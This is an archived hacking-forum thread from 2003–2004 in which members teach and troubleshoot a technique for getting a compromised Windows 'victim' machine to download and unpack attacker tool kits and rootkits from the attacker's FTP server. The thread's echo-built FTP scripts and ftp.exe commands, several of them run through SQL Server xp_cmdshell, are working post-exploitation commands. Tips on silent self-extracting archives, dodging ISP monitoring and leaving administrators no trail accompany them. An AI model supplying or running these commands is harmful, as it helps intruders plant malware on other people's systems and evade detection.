DJohn84
Aug 19 2003, 04:28 PM
Well, here is my attempt at writting a helpfull guide for all  ---------------------------------------------------------------------------------------------- TFTP: Since the release of the MSBlaster worm and its varients which use TFTP, the TFTP port (port 69) is being monitered by ISPs and other people. Not to mention that TFTP is horrible at transfering large files. The solution: FTP. To use FTP, it requires you to write a small script to execute commands. Lots of people here know how to write such scripts, but a good number of new joiners dont. So here is the lowdown  1) Get Winrar and rar/zip all your files using best compression. 2) Place Unrar.exe and the rar of your files (from here on out refered to as kit.rar) in a directory, make a new user on your ftp, and set the home directory for that user to the directory containing your files 3) Connect to your vitcim/test subject and echo the following into a file (called Host in this example) | CODE | open <your IP> <port> <user> <pass> lcd c:\windows\system32 get unrar.exe lcd <target directory for your kit.rar> get kit.rar quit |
4) Then run FTP: ftp -v -i -s:Host 5) Go to the directory containing your kit.rar, and decompress it using unrar.exe like so: Unrar x kit.rar 6) Do whatever it is you do with your files, then delete Host and kit.rar. Notes The "x" switch used with Unrar.exe keeps the directory structure inside your kit.rar intact when decompressing. You can use Rar.exe instead of Unrar.exe if you wish. You can subsitute the compression program of your choice. Just make sure what whatever you use to compress your files has a program that can be run from the command line to decompress the created files. I'm partial to WinRar  You dont have to put unrar.exe in the system32 directory. You can place it in the same directory as your kit.rar. Placing the program in the system32 directory lets you call it for usage from wherever you wish. If your FTP server uses passive mode, include Literal PASV in your script like so: | CODE | open <your IP> <port> <user> <pass> literal PASV lcd c:\windows\system32 get unrar.exe lcd <target directory for your kit.rar> get kit.rar quit |
This was written for all those having problems with TFTP. I strongly suggest using FTP though, since lots of people are monitering TFTP ports because of the worm. Wouldnt want a learning session to land you without ISP service or worse  Any suggestions or questions just feel free to ask
fUSiON
Aug 19 2003, 08:08 PM
nice tut..
blah
Aug 20 2003, 12:50 AM
very good tut man, glad you decided to write one. Very helpful indeed.
DJohn84
Aug 20 2003, 11:49 AM
 Glad it helped ya
GSecur
Aug 20 2003, 03:04 PM
Very Nice definitly going to the archive
Falk0n
Aug 20 2003, 04:47 PM
Really a great tutorial. I was looking for something like that.
Alex Trust
Aug 22 2003, 09:07 PM
yeah I like echo much more then tftp it's faster and safer. One time a while ago somebody wanted a file from me but well I couldn't run a ftp server at that time and didn't want to upload to the person so I let him request the files with tftp it worked gud but well we found out it wasn't really gud for 5mb+ files greetz Alex Trust
Soulwax
Aug 24 2003, 10:54 AM
Very nice one, thx alot. It worked for me.
F34R
Jan 10 2004, 09:48 PM
lcd c:\rootkit\RAR \rootkit\RAR: File not found get unrar.exe 200 PORT Command successful. 550 /c:/unrar.exe: No such file or directory. lcd c:\rootkit\RAR \rootkit\RAR: File not found get rootkit.rar 200 PORT Command successful. 550 /c:/rootkit.rar: No such file or directory. quit 221 Goodbye! 221 Goodbye! 221 Goodbye! SQL>Command: xp_cmdshell "dir c:\windows\system32" The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified.  Any Suggestions?
daguilar01
Jan 10 2004, 10:19 PM
not exaclty whats wrong with what youre doing, but this is what you can do to ehco files over
| CODE | echo open IP PORT > c:\winnt\temp\file.txt echo open user username password >> c:\winnt\temp\file.txt echo binary >> c:\winnt\temp\file.txt echo get unrar.exe C:\winnt\system32\unrar.exe >> c:\winnt\temp\file.txt echo get kit.rar C:\winnt\system32\kit.rar >> c:\winnt\temp\file.txt echo quit >> c:\winnt\temp\file.txt ftp.exe -i -n -v -s:c:\winnt\temp\file.txt |
this is goign to login into the ftp running on IP on port PORT and going to download unrar.exe and kit.rar to c:\winnt\system32 now you need to just use unrar.exe to unrar your kit.rar enjoy,
F34R
Jan 10 2004, 10:38 PM
SQL>Command: xp_cmdshell "ftp.exe -i -n -v -s:c:\winnt\temp\file3.txt" Connected to 24.144.66.74.
open x.x.x.x 60 220 B34ST Already connected to x.x.x.x, use disconnect first.
open root root binary 530 Please login with USER and PASS first.
Error opening local file C:\rootkit\rar\unrar.exe.
Error opening local file C:\rootkit\rar\rootkit.rar.
get unrar.exe C:\rootkit\rar\unrar.exe get rootkit.rar C:\rootkit\rar\rootkit.rar quit 221 Bye bye ... > C:\rootkit\rar\unrar.exe:No Such file or directory > C:\rootkit\rar\rootkit.rar:No Such file or directory > C:\rootkit\rar\rootkit.rar:No Such file or directory > C:\rootkit\rar\rootkit.rar:No Such file or directory
^^^ tried it with bullet proof FTP instead of Serv-U this time... when I can get it to actually log in I get this error...-(000004) 1/10/2004 5:19:56 PM - (not logged in) (x.x.x.x) > PASS ******** (000004) 1/10/2004 5:19:56 PM - root (x.x.x.x) > logged in. (000004) 1/10/2004 5:19:56 PM - root (x.x.x.x) > 230 User root logged in. (000004) 1/10/2004 5:19:56 PM - root (x.x.x.x) > PORT 172,16,120,200,9,58 (000004) 1/10/2004 5:19:56 PM - root (x.x.x.x) > 200 Port command successful. (000004) 1/10/2004 5:19:56 PM - root (x.x.x.x) > RETR rootkit.rar (000004) 1/10/2004 5:19:56 PM - root (x.x.x.x) > asked to download 'C:\rootkit\RAR\rootkit.rar' --> Access allowed. (Free File) (000004) 1/10/2004 5:19:56 PM - root (x.x.x.x) > 150 Opening data connection for rootkit.rar (3582445 bytes). (000004) 1/10/2004 5:20:17 PM - root (x.x.x.x) > 425 Cannot open data connection (10060).
fireman69
Jan 11 2004, 04:36 AM
nice tutorial man  .... This really helped me with my tftp problem...don't need to use that anymore
ArchAngel
Jan 11 2004, 05:21 AM
Thanks man... came into some use already
GhostCow
Jan 11 2004, 07:04 AM
knew this method already, but learnt new stuff! thanks for a great tut
Jackson
Jan 11 2004, 11:50 AM
jeahh thx for that nice tutorial i will test it yet
F34R
Jan 11 2004, 01:19 PM
SQL>Command: xp_cmdshell "ftp -i -n -v -s:c:\winnt\system32\ftp3.txt" Connected to x.x.x.x.
open x.x.x.x 21 220 Serv-U FTP Server v4.0 for WinSock ready... Invalid command.
Invalid command.
root root binary 200 Type set to I. Error opening local file rootkit.rar.
Error opening local file rootkit.rar.
Error opening local file unrar.exe.
Error opening local file unrar.exe.
get c:\rootkit\rar\rootkit.rar get rootkit.rar get c:\rootkit\rar\unrar.exe get unrar.exe quit 221 Goodbye! > rootkit.rar:Permission denied > rootkit.rar:Permission denied > unrar.exe:Permission denied > unrar.exe:Permission denied > unrar.exe:Permission denied > unrar.exe:Permission denied
Anyone able to help with this error? Can someone interpret whether this is an error in my ftp3.txt echo file or if this is a fake ftp.exe OR if I dont have my serv-u configured correctly? Thanks.
This are the echo commands I used. ECHO open x.x.x.x 21 >> ftp6.txt ECHO user root >> ftp6.txt ECHO password root >> ftp6.txt ECHO binary >> ftp6.txt ECHO get c:\rootkit\rar\rootkit.rar >> ftp6.txt ECHO get c:\rootkit\rar\unrar.exe >> ftp6.txt ECHO get rootkit.rar >> ftp6.txt ECHO get unrar.exe >> ftp6.txt ECHO quit >> ftp6.txt
daguilar01
Jan 11 2004, 06:54 PM
ECHO get rootkit.rar >> ftp6.txt ECHO get unrar.exe >> ftp6.txt
use that instead, your ftp server doesnt use c:\root\whatever
F34R
Jan 11 2004, 08:13 PM
well I used both ways in the echo... as a test... neither work....
F34R
Jan 19 2004, 03:18 AM
230 User logged in, proceed. Invalid command.
password root binary 200 Type set to I. Local directory now C:\.
lcd c:\ get rootkit.rar get unrar.exe quit 221 Goodbye! > ftp: bind :No buffer space is supported > ftp: bind :No buffer space is supported > ftp: bind :No buffer space is supported > ftp: bind :No buffer space is supported
Anyone know what this error means?
Namelessname00
Jan 19 2004, 03:29 AM
nice tut
z73
Jan 19 2004, 04:09 AM
agree echo method is a lot saver than using tftp. btw u dont need to switch to binary mode.
Train25
Jan 19 2004, 04:21 AM
Excellent tut and worthy of an archive. Some great suggestions as well on other uses. I need to put some time aside for some tuts to post here to the board.
h3llraz0r
Jan 19 2004, 08:03 AM
| QUOTE (F34R @ Jan 11 2004, 01:19 PM) | SQL>Command: xp_cmdshell "ftp -i -n -v -s:c:\winnt\system32\ftp3.txt" Connected to x.x.x.x.
open x.x.x.x 21 220 Serv-U FTP Server v4.0 for WinSock ready... Invalid command.
Invalid command.
root root binary 200 Type set to I. Error opening local file rootkit.rar.
Error opening local file rootkit.rar.
Error opening local file unrar.exe.
Error opening local file unrar.exe.
get c:\rootkit\rar\rootkit.rar get rootkit.rar get c:\rootkit\rar\unrar.exe get unrar.exe quit 221 Goodbye! > rootkit.rar:Permission denied > rootkit.rar:Permission denied > unrar.exe:Permission denied > unrar.exe:Permission denied > unrar.exe:Permission denied > unrar.exe:Permission denied
Anyone able to help with this error? Can someone interpret whether this is an error in my ftp3.txt echo file or if this is a fake ftp.exe OR if I dont have my serv-u configured correctly? Thanks.
This are the echo commands I used. ECHO open x.x.x.x 21 >> ftp6.txt ECHO user root >> ftp6.txt ECHO password root >> ftp6.txt ECHO binary >> ftp6.txt ECHO get c:\rootkit\rar\rootkit.rar >> ftp6.txt ECHO get c:\rootkit\rar\unrar.exe >> ftp6.txt ECHO get rootkit.rar >> ftp6.txt ECHO get unrar.exe >> ftp6.txt ECHO quit >> ftp6.txt |
your problem is in the echo commands you are using. you have specify the file to get and the dir to place it in, try this instead.  echo open x.x.x.x 21 >> ftp6.txt echo user root >> ftp6.txt echo root >> ftp6.txt echo get rootkit.rar c:\rootkit\rar\rootkit.rar >> ftp6.txt echo get unrar.exe c:\rootkit\rar\unrar.exe >> ftp6.txt echo quit >> ftp6.txt ftp -i -v -n -s:ftp6.txt
jead99
Jan 19 2004, 01:51 PM
Nice tut, just tried it and it works very well
Svenno
Jan 19 2004, 03:31 PM
TFTP is slow and risky Echo is fast and trustable
Rashad
Jan 19 2004, 03:36 PM
Anyone here got a wireimage account i can use?
oxydrine
Jan 19 2004, 03:49 PM
yes nice tut i use it it works cool
DrDoc
Jan 19 2004, 04:00 PM
Jop very nice tutorial.. good work.. ^^
Cya Doc
DyNaMiTe
Jan 20 2004, 08:25 PM
 Nice tutorial dude!!! Thank you very match great learn!!!
devil666
Jan 20 2004, 08:32 PM
Nice Tutorial but i would suggest an other method for the unrarring...
In stead of making a .rar file, create a .exe file then you don't need your rar.exe... Just choose create sfv archive in winrar and it creates an exe file..
Be sure to go to Advanced SFV options and set messaging to silent...
pe0n
Jan 21 2004, 06:28 AM
very nice tut there, DJohn84  definitely worth tryin' thx alot
mamep
Jan 21 2004, 10:29 PM
echo is really fast... don't really trust tftp
Chuckey
Jan 21 2004, 10:43 PM
Hi Guys, Very Very New and I'm sure it will come in handy soon . Thanks Chuckey
[Sunny]
Jan 21 2004, 10:51 PM
yo , the tipp with unrar.exe is realy nice  . Thx man , it safe me a lot of work !
F34R
Jan 22 2004, 12:32 AM
220 Serv-U FTP Server v4.0 for WinSock ready... user anonymous 230 User logged in, proceed. Invalid command.
anonymous get ias.rar c:\winnt\system32\ias\ias.rar 200 PORT Command successful. 550 /c:/ias.rar: No such file or directory.
get ias.rar c:\winnt\system32\ias\unrar.exe 200 PORT Command successful. 550 /c:/ias.rar: No such file or directory.
get unrar.exe c:\winnt\system32\ias\unrar.exe 200 PORT Command successful. 550 /c:/unrar.exe: No such file or directory.
get start.bat c:\winnt\system32\ias\start.bat 200 PORT Command successful. 550 /c:/start.bat: No such file or directory.
get ntmgmt.exe c:\winnt\system32\ias\ntmgmt.exe 200 PORT Command successful. 550 /c:/ntmgmt.exe: No such file or directory.
quit 221 Goodbye! 221 Goodbye! 221 Goodbye!
Alright... I did EXACTLY as I was told.... anyone got any ideas on how to fix this?
x1`
Jan 25 2004, 02:17 PM
well what if the target does have winrar installed how can it open it
PsychoDib
Feb 4 2004, 09:37 PM
thanks for this very useful tutorial  I don't think I'll be using tftp anymore
fre4k
Feb 4 2004, 09:46 PM
"The Echo Methode" is very faster and saver!!! most providers are logging, because many virus are go around in the moment and the tftp port [69] will be locked! *sry for my shice english* -fre4k
neocortex111
Feb 5 2004, 11:17 AM
ummm...im trying to find a good rootkit guyz...i searched all over the net..can someone help me with this? i would be so greatful
murcia
Feb 5 2004, 01:40 PM
hey, doesn't work for me  well, i these commands to echo to a file: ECHO open x.x.x.x 11115 >> kit2.txt ECHO test >> kit2.txt ECHO test >> kit2.txt ECHO literal PASV >> kit2.txt ECHO lcd c:\inetpub\scripts >> kit2.txt ECHO get unrar.exe >> kit2.txt ECHO lcd c:\inetpub\scripts >> kit2.txt ECHO get kit.rar >> kit2.txt ECHO quit >> kit2.txt and told it to get the stuff from my ftp with this command: ftp -v -i -s:kit2.txt and this is what i got then: ftp -v -i -s:kit2.txt Conectado a x.x.x.x. open x.x.x.x 11115 220 Serv-U FTP Server v4.0 for WinSock ready... Usuario (80.138.116.243:(none)): 331 User name okay, need password. 230 User logged in, proceed. Comando no vido. literal PASV 227 Entering Passive Mode (x,x,x,x,15,193) Directorio local ahora C:\inetpub\scripts. lcd c:\inetpub\scripts get unrar.exe 200 PORT Command successful. 150 Opening ASCII mode data connection for unrar.exe (187904 bytes). and then nothing further happens. my ftp server tells me: 220 Serv-U FTP Server v4.0 for WinSock ready... USER test 331 User name okay, need password. PASS xxxxx 230 User logged in, proceed. PASV 227 Entering Passive Mode (x,x,x,x,15,193) PORT 192,168,0,2,4,67 200 PORT Command successful. RETR unrar.exe 150 Opening ASCII mode data connection for unrar.exe (187904 bytes). 425 Cannot open data connection. i hope anyone can help me with this  also tried some other variations of the commands that were mentioned in this thread... greetz, murcia
zell^
Feb 5 2004, 03:47 PM
hmm sound good i go 2 try it
koursky
Feb 6 2004, 04:44 PM
thx a lot for this tut
mofo
Feb 7 2004, 05:19 AM
what sql client should i use?
Chuckey
Feb 17 2004, 11:33 AM
Hi Guys... I've also been tryinhg several ways to up files and I get the same on the ftp part of things as bove connects ok even trys to up the file (tried it from my remote ftp to myself) but then hangs zzz no activity on the remote ftp..
Any advice appreciated
Chuckey
Chuckey
Feb 17 2004, 11:35 AM
mofo what are you looking to do? I got za few sql stuff Chuckey
garcia
Feb 19 2004, 12:56 AM
good tuto thx nice job
Chuckey
Feb 19 2004, 09:43 AM
W00t Finally done it ! I was having all the same problems - not connecting or when connected it was hanging and when i went into admin on the remote ftp it was idle. I had other problems and decided to find the root problem by going from my router to modem... and hey presto it worked first time. and my other stuff works too. I guess the router need some kinda of time out or keep live setting changed but i dont know that bit yet. But now I can also say Great TUT and thanks! tftp was a nightmare for me  Chuckey
arn0ld
Mar 1 2004, 02:45 PM
if there's no ftp.exe (it sais ftp.exe is unknown blablabla ) is there any other option loading the script ?
DJohn84
Mar 1 2004, 04:36 PM
WOW!! Talk about a thread taking off months later! Well, I'm glad everyone found it helpfull  Heres an addition/modification/change of sorts: | CODE | open <your IP> <port> <user> <pass> lcd c:\windows\system32 get unrar.exe lcd <target directory for your kit.rar> get kit.rar quit
|
The above is the original. By researching some of what the other FTP switches did, here's another method:
| CODE | <user> <pass> lcd c:\windows\system32 get unrar.exe lcd <target directory for your kit.rar> get kit.rar quit
|
Then type: FTP -v -s:host <your ip here> Make sure you place your ftp server on port 21 for it to work. The difference with this method, is that if you are unable to delete your ftp script, then the system admin wont be able to just simply look at the file and have a jump on how to find you (should some of you not use a remote location to store your files  ). If you need to create a directory to place your files on on the victim, then simply use the mkd <path> command in your script to make the directory. Enjoy
DJohn84
Mar 1 2004, 04:41 PM
| QUOTE (arn0ld @ Mar 1 2004, 02:45 PM) | | if there's no ftp.exe (it sais ftp.exe is unknown blablabla ) is there any other option loading the script ? |
arn0ld: If ftp.exe isnt there, then you have to use an alternate means of transfering your files. There are some great tuts on how to do it through http via a vbs script, or by another alternate means. Or, if you can use tftp, then you could transfer ftp.exe to the victim's box and use the ftp script that way
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|